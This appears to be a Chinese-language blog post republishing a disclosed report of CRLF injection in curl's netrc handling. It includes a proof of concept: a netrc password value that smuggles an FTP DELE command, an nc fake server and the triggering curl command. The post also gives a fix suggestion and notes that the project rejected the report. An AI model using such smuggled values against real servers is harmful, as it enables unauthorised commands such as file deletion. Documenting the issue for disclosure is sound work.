curl netrc文件CRLF注入漏洞分析

本文详细分析了curl在处理netrc文件时存在的CRLF注入漏洞,攻击者可通过构造特殊用户名/密码实现FTP命令注入,包含完整的复现步骤和修复建议。

curl netrc crlf注入漏洞报告

摘要

curl允许在netrc文件的登录和密码字段中编码CR和LF字符。当攻击者能够影响netrc文件内容时,可通过在登录名或密码中注入CRLF来实现FTP命令注入。POP3协议同样可能受影响但未经测试。

漏洞复现步骤

  1. 创建包含恶意payload的netrc文件:
1
2
3
machine localhost
  login alice
  password "alicespassword\r\nDELE pocfile.txt"
  1. 启动测试用的FTP服务器:
1
echo -ne "220 \r\n331 \r\n" | nc -v -l -p 9999
  1. 使用受影响curl版本发起请求:
1
curl -v --netrc-file netrc ftp://localhost:9999

修复建议

对于使用CR/LF作为分隔符的协议(如FTP、POP3等),在构造命令时不应允许用户名或密码中包含CR或LF字符。

影响评估

可实现FTP/POP3命令注入。项目方最终认定该问题属于"本地攻击者已存在"类别,不构成安全漏洞。

时间线

  • 2024年11月9日:漏洞报告提交
  • 2024年11月10日:curl团队确认问题性质
  • 2024年11月10日:报告关闭(标记为Not Applicable)
  • 2025年7月7日:报告公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计